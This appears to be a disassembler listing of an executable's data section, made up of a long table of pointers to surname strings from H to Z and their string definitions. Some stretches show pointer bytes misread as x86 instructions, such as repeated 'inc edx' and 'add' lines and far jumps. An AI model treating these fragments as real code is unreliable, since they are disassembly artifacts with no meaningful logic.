aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" ; --------------------------------------------------------------------------- loc_42DE8C: ; CODE XREF: ___:loc_42DE8Cj jo short loc_42DE8C inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ch inc byte ptr [edx+0] and dh, bh inc edx add [eax], bl inc byte ptr [edx+0] adc dh, bh inc edx add [eax], cl inc byte ptr [edx+0] add dh, bh inc edx add al, dh std inc edx add al, ch std inc edx add ah, bl std inc edx add al, dl std inc edx add al, cl std inc edx add [ebp+edi*8-24FFFBEh], bh inc edx add [eax-63FFBD03h], ch std inc edx add [ebp+edi*8-273FFBEh], dl inc edx add [ebp+edi*8-283FFBEh], al inc edx add [ebp+edi*8+42h], dh add [eax-3], ch inc edx add [eax-3], ah inc edx add [ebp+edi*8+42h], dl add [ebp+edi*8+42h], cl add [ebp+edi*8+42h], al add [eax], bh std inc edx add [eax], dh std inc edx add [eax], ch std inc edx add [eax], ah std inc edx add [eax], bl std inc edx add [eax], dl std inc edx add [eax], cl std inc edx ; --------------------------------------------------------------------------- db 0 dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" ; --------------------------------------------------------------------------- or ah, ch inc edx add ah, bh jmp short loc_42E6D9 ; --------------------------------------------------------------------------- align 4 dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6ED ; --------------------------------------------------------------------------- align 4 enter 42EBh, 0 shr bl, 42h add [ebx+ebp*8-1457FFBEh], dh inc edx add [eax-67FFBD15h], ah jmp short loc_42E705 ; --------------------------------------------------------------------------- align 4 dd offset aTukan ; "Tukan" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E715 ; --------------------------------------------------------------------------- align 4 dd offset aTwells ; "Twells" db 64h ; --------------------------------------------------------------------------- loc_42E6D9: ; CODE XREF: ___:0042E695j jmp short loc_42E71D ; --------------------------------------------------------------------------- align 4 dd offset aUllman ; "Ullman" ; --------------------------------------------------------------------------- push eax jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 dd offset aUpsdell ; "Upsdell" ; --------------------------------------------------------------------------- inc eax jmp short near ptr byte_42E72D ; --------------------------------------------------------------------------- align 4 db 30h ; --------------------------------------------------------------------------- loc_42E6ED: ; CODE XREF: ___:0042E6A9j jmp short loc_42E731 ; --------------------------------------------------------------------------- align 10h sub bl, ch inc edx add [eax], ah jmp short loc_42E739 ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h or bl, ch inc edx add ah, bh loc_42E705: ; CODE XREF: ___:0042E6C1j jmp far ptr 42h:0EAF40042h ; --------------------------------------------------------------------------- dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" db 0D4h ; --------------------------------------------------------------------------- loc_42E715: ; CODE XREF: ___:0042E6D1j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- loc_42E71D: ; CODE XREF: ___:loc_42E6D9j jmp far ptr 42h:0EAB00042h ; --------------------------------------------------------------------------- movsb loc_42E725: ; CODE XREF: ___:0042E6E1j jmp far ptr 42h:0EA980042h ; --------------------------------------------------------------------------- db 90h byte_42E72D db 0EAh, 42h, 0 ; CODE XREF: ___:0042E6E9j db 88h ; --------------------------------------------------------------------------- loc_42E731: ; CODE XREF: ___:loc_42E6EDj jmp far ptr 42h:0EA7C0042h ; --------------------------------------------------------------------------- db 70h ; --------------------------------------------------------------------------- loc_42E739: ; CODE XREF: ___:0042E6F5j jmp far ptr 42h:0EA640042h ; --------------------------------------------------------------------------- pop eax loc_42E741: ; CODE XREF: ___:0042E6FDj jmp far ptr 42h:0EA4C0042h ; --------------------------------------------------------------------------- dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E838o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E834o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042E830o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E82Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E828o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E824o aZegans db 'Zegans',0 ; DATA XREF: ___:0042E820o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E81Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E818o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E814o aYu db 'Yu',0 ; DATA XREF: ___:0042E810o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E80Co align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E808o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E804o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E800o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7FCo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F8o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7F4o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042E7F0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7ECo aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E8o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7E4o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7E0o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042E7DCo align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7D4o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042E7D0o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7CCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7C4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7C0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7BCo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7B4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7B0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7ACo aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A8o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7A4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7A0o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E79Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E798o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E794o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E790o aViens db 'Viens',0 ; DATA XREF: ___:0042E78Co align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E788o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E784o aViano db 'Viano',0 ; DATA XREF: ___:0042E780o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042E77Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E778o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E774o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E770o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E76Co aWhately db 'Whately',0 ; DATA XREF: ___:0042E768o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E764o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E760o aVerghese db 'Verghese',0 ; DATA XREF: 